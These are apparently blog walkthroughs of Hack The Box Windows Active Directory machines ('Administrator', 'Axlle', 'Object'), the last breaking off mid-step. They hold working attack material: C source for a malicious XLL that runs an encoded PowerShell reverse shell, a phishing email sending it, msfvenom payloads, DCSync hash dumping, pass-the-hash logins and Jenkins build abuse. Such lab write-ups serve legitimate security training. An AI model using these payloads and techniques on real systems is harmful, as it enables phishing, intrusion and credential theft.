With the credentials of the ethan account, I used impacket-secretsdump to run the DCSync attack and obtain the NTLM hash of the administrator:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ impacket-secretsdump ethan@10.10.11.42 -just-dc-user administrator             
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
[*] Cleaning up...

Then, with the hash of the administrator, I was able to log in over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ evil-winrm -i 10.10.11.42 -u 'administrator' -H 3dc553ce4b9fd20bd016e098d2d2fd2e
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
administrator\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


    Directory: C:\Users\Administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---          1/2/2025   9:04 AM             34 root.txt

Hack The Box - Axlle

Mon, 16 Dec 2024 00:00:00 GMT

Axlle is a Windows machine running Active Directory. A hosted website displays a maintenance notice, but also mentions that outstanding invoices or requests can be sent via email in Excel format. This can be exploited for a phishing attack using a malicious XLL, leading to a shell as gideon.hamill. A malicious .url can then be dropped into the C:\inetpub\testing folder, which is executed by dallon.matrix, resulting in another shell. The plaintext password for this user can be found in their PowerShell console history which can be used to collect domain data for BloodHound. Enumeration with BloodHound reveals that dallon.matrix has the ForceChangePassword privilege on two users. The password for either of these users can be changed and then used to log in over WinRM. This access can be leveraged to exploit the automated execution of standalonerunner.exe as SYSTEM, resulting in a shell as administrator.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.21 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 07:41 EST
Nmap scan report for 10.10.11.21
Host is up (0.050s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Axlle Development
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-12 12:41:40Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-12-12T12:41:53
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.32 seconds

I added axlle.htb and mainframe.axlle.htb to /etc/hosts, then I visited the webpage on port 80:

There was the following message on the site:

accounts@axlles.htb could be used for a phishing attempt, but since macros were disabled, an alternative method was needed to get code execution. A web search led to this GitHub repo which mentions that an XLL—a specialized type of DLL designed to extend Excel's functionality—could be used for exploitation. Further searching led to Internal All The Things which provides this payload that uses xlAutoOpen() to run code automatically when the file is opened.

So I changed the payload to contain the PowerShell #3 (Base64) command from revshells within WinExec():

#include <windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwA1ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

I used x86_64-w64-mingw32-gcc to compile the payload into an XLL:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ x86_64-w64-mingw32-gcc test.c -shared -o invoice.xll

Then, I started a nc listener and sent an email with invoice.xll attached:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ swaks -s axlle.htb --from test@axlle.htb --to accounts@axlle.htb --header "Subject: Outstanding Invoice" --body "Hello, an overdue invoice is attached." --attach @invoice.xll 
=== Trying axlle.htb:25...
=== Connected to axlle.htb.
<-  220 MAINFRAME ESMTP
 -> EHLO kali
<-  250-MAINFRAME
<-  250-SIZE 20480000
<-  250-AUTH LOGIN
<-  250 HELP
 -> MAIL FROM:<test@axlle.htb>
<-  250 OK
 -> RCPT TO:<accounts@axlle.htb>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> Date: Thu, 12 Dec 2024 12:50:02 -0500
 -> To: accounts@axlle.htb
 -> From: test@axlle.htb
 -> Subject: Outstanding Invoice
 -> Message-Id: <20241212125002.157711@kali>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> MIME-Version: 1.0
 -> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_157711"
 -> 
 -> ------=_MIME_BOUNDARY_000_157711
 -> Content-Type: text/plain
 -> 
 -> Hello, an overdue invoice is attached.
 -> ------=_MIME_BOUNDARY_000_157711
 -> Content-Type: application/octet-stream; name="invoice.xll"
 -> Content-Description: invoice.xll
 -> Content-Disposition: attachment; filename="invoice.xll"
 -> Content-Transfer-Encoding: BASE64
 -> 
 -> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 -> AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
 -> ZGUuDQ0KJAAAAAAAAABQRQAAZIYUACAiW2cABgEAmwMAAPAAJiALAgIpABQAAAAyAAAAAgAAIBMA
 -> AAAQAAAAAJ/+AQAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAAAAAgAABgAA3cMBAAMAYAEAACAA
 -> AAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAIAAAEkAAAAAkAAAiAMAAAAAAAAA
 <...snip...>
 -> 
 -> ------=_MIME_BOUNDARY_000_157711--
 -> 
 -> 
 -> .
<-  250 Queued (10.875 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

Soon after that, nc caught a shell as gideon.hamill:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.35] from (UNKNOWN) [10.10.11.21] 58042

PS C:\> whoami
axlle\gideon.hamill

C:\App Development looked interesting as it was non-default, but the gideon.hamill user didn't have access to it:

PS C:\> ls


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/1/2024  10:03 PM                App Development
d-----          1/1/2024   6:33 AM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         6/13/2024   2:20 AM                Program Files
d-----         6/13/2024   2:23 AM                Program Files (x86)
d-r---          1/1/2024   4:15 AM                Users
d-----         6/13/2024   4:30 AM                Windows

After further enumeration, I found the email server at C:\Program Files (x86)\hMailServer:

PS C:\Program Files (x86)> ls


    Directory: C:\Program Files (x86)


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/31/2023   9:50 PM                Common Files
d-----          1/1/2024   3:33 AM                hMailServer
d-----         6/12/2024  11:11 PM                Internet Explorer
d-----         6/13/2024   2:27 AM                Microsoft
d-----          1/1/2024   3:33 AM                Microsoft SQL Server Compact Edition
d-----          1/1/2024   3:33 AM                Microsoft Synchronization Services
d-----         6/13/2024   1:35 AM                Microsoft.NET
d-----         6/13/2024   1:46 AM                MSBuild
d-----          1/1/2024   3:32 AM                Reference Assemblies
d-----          5/8/2021   2:35 AM                Windows Defender
d-----        12/31/2023   9:56 PM                Windows Kits
d-----         6/12/2024  11:11 PM                Windows Mail
d-----         6/12/2024  11:11 PM                Windows Media Player
d-----          5/8/2021   2:35 AM                Windows NT
d-----          3/2/2022   7:58 PM                Windows Photo Viewer
d-----          5/8/2021   1:34 AM                WindowsPowerShell

The following email in Data\axlle.htb\dallon.matrix\2F, discusses testing the automation of web shortcuts:

PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> cat "{2F7523BD-628F-4359-913E-A873FCC59D0F}.eml"
Return-Path: webdevs@axlle.htb
Received: from bumbag (Unknown [192.168.77.153])
  by MAINFRAME with ESMTP
  ; Mon, 1 Jan 2024 06:32:24 -0800
Date: Tue, 02 Jan 2024 01:32:23 +1100
To: dallon.matrix@axlle.htb,calum.scott@axlle.htb,trent.langdon@axlle.htb,dan.kendo@axlle.htb,david.brice@axlle.htb,frankie.rose@axlle.htb,samantha.fade@axlle.htb,jess.adams@axlle.htb,emily.cook@axlle.htb,phoebe.graham@axlle.htb,matt.drew@axlle.htb,xavier.edmund@axlle.htb,baz.humphries@axlle.htb,jacob.greeny@axlle.htb
From: webdevs@axlle.htb
Subject: OSINT Application Testing
Message-Id: <20240102013223.019081@bumbag>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/

Hi everyone,

The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.

We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.

Yours in click-worthy URLs,

The Web Dev Team

Since members of the Web Dev group were testing web shortcuts in the C:\inetpub\testing folder, I could place a malicious .url there to obtain a shell as the user executing it. So first, I generated shell code with msfvenom:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.35 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

Next, I downloaded the payload onto the target in C:\programdata:

PS C:\programdata> wget 10.10.14.35:8000/shell.exe -o shell.exe
PS C:\programdata> ls


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         6/13/2024   1:38 AM                Microsoft
d-----         6/13/2024   1:27 AM                Package Cache
d-----        12/31/2023  10:02 PM                Packages
d-----         6/13/2024   1:46 AM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----          5/8/2021   2:36 AM                ssh
d-----        12/31/2023   9:38 PM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----         1/22/2023   1:36 AM                VMware
-a----        12/12/2024  10:18 AM           7168 shell.exe

I started a nc listener and then created the web shortcut in C:\inetpub\testing:

PS C:\inetpub\testing> echo "[internetshortcut]`nurl=c:\programdata\shell.exe" > test.url

Soon after creating test.url, nc caught a shell as dallon.matrix:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ nc -lvnp 443  
listening on [any] 443 ...
connect to [10.10.14.35] from (UNKNOWN) [10.10.11.21] 52498
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
axlle\dallon.matrix

C:\>cd \users\dallon.matrix\desktop
cd \users\dallon.matrix\desktop

C:\Users\dallon.matrix\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BFF7-F940

 Directory of C:\Users\dallon.matrix\Desktop

01/01/2024  03:45 AM    <DIR>          .
01/01/2024  03:44 AM    <DIR>          ..
12/12/2024  08:59 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,988,097,536 bytes free

dallon.matrix also couldn't access C:\App Development. So next, I checked the user's console history which revealed a plaintext password:

C:\Users\dallon.matrix\Desktop>type C:\Users\dallon.matrix\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\dallon.matrix\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
$SecPassword = ConvertTo-SecureString 'PJsO1du$CVJ#D' -AsPlainText -Force;
$Cred = New-Object
System.Management.Automation.PSCredential('dallon.matrix', $SecPassword);

With credentials, I could use bloodhound-python to collect domain data:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle/bloodhound-data]
└─$ bloodhound-python -u 'dallon.matrix' -p 'PJsO1du$CVJ#D' -d axlle.htb -dc mainframe.axlle.htb -c all -ns 10.10.11.21
INFO: Found AD domain: axlle.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: mainframe.axlle.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: mainframe.axlle.htb
INFO: Found 22 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MAINFRAME.axlle.htb
INFO: Done in 00M 10S

After uploading the data into BloodHound and marking the dallon.matrix user as owned, viewing Shortest Path from Owned Principals showed that dallon.matrix was a member of the Web Devs group which had ForceChangePassword rights over baz.humphries, who had PSRemote access to mainframe.axlle.htb:

To change the user's password, I downloaded PowerView onto the target:

PS C:\programdata> wget 10.10.14.35:8000/PowerView.ps1 -o PowerView.ps1
wget 10.10.14.35:8000/PowerView.ps1 -o PowerView.ps1
PS C:\programdata> ls
ls


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         6/13/2024   1:38 AM                Microsoft
d-----         6/13/2024   1:27 AM                Package Cache
d-----        12/31/2023  10:02 PM                Packages
d-----         6/13/2024   1:46 AM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----          5/8/2021   2:36 AM                ssh
d-----        12/31/2023   9:38 PM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----         1/22/2023   1:36 AM                VMware
-a----        12/12/2024  11:00 AM         904779 PowerView.ps1
-a----        12/12/2024  10:18 AM           7168 shell.exe

I set a new password with Set-DomainUserPassword from PowerView:

PS C:\programdata> . .\PowerView.ps1
. .\PowerView.ps1
PS C:\programdata> $password = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
$password = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
PS C:\programdata> Set-DomainUserPassword -Identity baz.humphries -AccountPassword $password
Set-DomainUserPassword -Identity baz.humphries -AccountPassword $password

Then, I was able to log in over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ evil-winrm -i 10.10.11.21 -u 'baz.humphries' -p 'P@ssw0rd'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\baz.humphries\Documents> whoami
axlle\baz.humphries

baz.humphries was a member of App Devs:

*Evil-WinRM* PS C:\Users\baz.humphries\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ==================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
AXLLE\App Devs                              Group            S-1-5-21-1005535646-190407494-3473065389-1108 Mandatory group, Enabled by default, Enabled group
AXLLE\Employees                             Group            S-1-5-21-1005535646-190407494-3473065389-1103 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

As a member of App Devs, the user had access to C:\App Development:

*Evil-WinRM* PS C:\App Development> ls


    Directory: C:\App Development


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/1/2024  10:03 PM                kbfiltr


*Evil-WinRM* PS C:\App Development> cd kbfiltr
*Evil-WinRM* PS C:\App Development\kbfiltr> ls


    Directory: C:\App Development\kbfiltr


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/1/2024  10:03 PM                exe
d-----          1/1/2024  10:03 PM                sys
-a----        12/14/2023  11:39 AM           2528 kbfiltr.sln
-a----         6/11/2024  11:16 PM           2805 README.md

README.md contained the following note mentioning the automated running of standalonerunner.exe as SYSTEM:

*Evil-WinRM* PS C:\App Development\kbfiltr> cat README.md

<...snip...>

**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**

<...snip...>

A web search led to this writeup which details how to get arbitrary command execution via standalonerunner.exe. So based on the writeup, I took the following steps:

I went to the execution directory. In this case, it was:

C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\

From there, I created a new directory, test:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> mkdir "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\test"


    Directory: C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/12/2024  12:11 PM                test

In the test directory, I created another directory, working:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> mkdir "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\test\working"


    Directory: C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\test


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/12/2024  12:11 PM                working

In working, I created a file called rsf.rsf:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> echo "" > "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\test\working\rsf.rsf"

Back in the execution directory, I created a file called reboot.rsf with the following content:

test
True

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> echo "test`nTrue" > reboot.rsf

And lastly, in the execution directory, I created a file called command.txt that contained a reverse shell command:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> echo "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwA1ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" > command.txt

The structure should end up looking like this:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> tree . /f
Folder PATH listing
Volume serial number is 00000140 BFF7:F940
C:\PROGRAM FILES (X86)\WINDOWS KITS\10\TESTING\STANDALONETESTING\INTERNAL\X64
¦   command.txt
¦   reboot.rsf
¦   standalonerunner.exe
¦   standalonexml.dll
¦
+---test
    +---working
            rsf.rsf

After about a minute, nc caught a shell as administrator:

┌──(kali㉿kali)-[~/Desktop/HTB/Axlle]
└─$ nc -lvnp 443  
listening on [any] 443 ...
connect to [10.10.14.35] from (UNKNOWN) [10.10.11.21] 52795

PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\test\working> whoami
axlle\administrator
PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\test\working> cd \users\administrator\desktop
PS C:\users\administrator\desktop> ls


    Directory: C:\users\administrator\desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-ar---        12/12/2024   8:59 AM             34 root.txt

Hack The Box - Object

Sat, 07 Dec 2024 00:00:00 GMT

Object is a Windows machine running Active Directory. Access to a Jenkins instance allows for triggering builds that execute batch commands. By leveraging this access, Jenkins secrets can be retrieved and decrypted, yielding WinRM credentials for the user oliver. Once a shell is obtained, it is discovered that oliver is a domain user and the machine is a domain controller. Enumeration with BloodHound reveals that domain compromise can be achieved in three steps. First, oliver has ForceChangePassword over smith, enabling access as smith by changing the user's password. Next, smith has GenericWrite over maria, enabling access as maria by editing their logon script. Finally, maria has WriteOwner over the Domain Admins group, allowing the user to take ownership of the group and then be added as a member.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 20:24 EST
Nmap scan report for object.htb (10.10.11.132)
Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mega Engines
|_http-server-header: Microsoft-IIS/10.0
8080/tcp open  http    Jetty 9.4.43.v20210629
|_http-server-header: Jetty(9.4.43.v20210629)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.00 seconds

I visited the webpage on port 80 which had a link to an automation server:

The link above redirected to object.htb:8080, so I added object.htb to /etc/hosts and visited the page which was a Jenkins instance:

I created an account and logged in:

Attempting to access the script console at /script resulted in access denied:

On the Dashboard page, the user had access to create jobs:

I created a job and selected Freestyle project:

On the configuration page, the Build section had an Add build step dropdown with an Execute Windows batch command option:

I tested this with the whoami command:

After clicking save, there was no option to build. Typically, in the left column, there would be a Build Now option, but there wasn't:

However, there are alternative ways to trigger the build. Back on the configuration page in the Build Triggers section, one option is by selecting Build Periodically to run the build at specified intervals. For example, this would run every minute:

I saved the configuration, and after about a minute the build triggered. I viewed the Console Output for the build which showed that the command successfully ran as the user oliver:

Started by timer
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins8835497066393974783.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>whoami
object\oliver

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

Another option to run the build is via the remote access API. On the configuration page, I selected Trigger builds remotely (e.g., from scripts) and gave a token name:

To use the API, I needed to generate an API key, so I clicked the user icon in the top right of Jenkins and went to Configure. On the user configuration page, I selected Add new Token, then Generate, and copied the token:

The Jenkins documentation here states that a build can be triggered with a POST request. So I sent the following request:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ curl -u "test:112067325c86c2057a6e5d4c812bc4805e" -X POST "http://object.htb:8080/job/test-project/build?token=test_token"

After the build completed, I went to the console output which successfully ran the whoami command:

Started by remote host 10.10.14.55
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins2293941004648113126.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>whoami
object\oliver

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

Jenkins stores user info in %JENKINS_HOME%\users\users.xml, so back in the build configuration, I set the batch command to the following:

type %JENKINS_HOME%\users\users.xml

